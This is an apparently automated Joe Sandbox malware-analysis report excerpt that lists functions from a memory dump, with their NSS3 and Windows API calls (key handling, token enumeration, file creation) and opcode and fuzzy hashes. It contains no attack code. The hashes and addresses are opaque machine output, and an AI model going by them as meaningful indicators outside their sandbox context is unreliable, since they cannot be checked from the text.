Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C6DDBBD), ref: 6C6DDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C6DDBBD), ref: 6C6DE007

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction ID: 08c4237310f54556adf5257dc1d35a89a4244c83728e9675d584c8418cce20b1
Opcode Fuzzy Hash: 1d9f44d4b86f31e50a1b7f372896d9cf4d7dfc734fe333e418ebb67bea406c72
Instruction Fuzzy Hash: 3831D7B1A0420157D711AA7ADD84A9B73B89F5530CF060135E909D7B52FB31E918C6FB

Function 6C656C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C656C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C656CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C656CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C778FE0), ref: 6C656CFE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction ID: 5634ca65450e1953ecc60d883ca59a0d590e03f3b393b1a9f331f98c01907e5d
Opcode Fuzzy Hash: 35fcae7972542499eae4b1461d7506d87938f96bb9edc55976b18e2f36d01e78
Instruction Fuzzy Hash: 6C318CB1A002169FEB08CF65C891ABFBBF5EF89348B60452DD905E7710EB31D915CBA4

Function 6C764F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C764F5D
free.MOZGLUE(?), ref: 6C764F74
free.MOZGLUE(?), ref: 6C764F82
GetLastError.KERNEL32 ref: 6C764F90

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction ID: bd66aa84d210bcda55b9139395168e0b33b97f101d16059c4303d1dafbc349a2
Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6B9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BA71A,FFFFFFFF,?,?), ref: 6C6B9FAB

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6B9FD9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA009
PR_SetError.NSS3(FFFFE013,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA045

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73f1f97476c8ea0932abe1c620dde10c51f275a44536d345374d98b861648c8c
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 6521C6B4600206ABF7009F15DC50F66B7A9FF9535CF10C128D82997B82FB76E828CB94

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
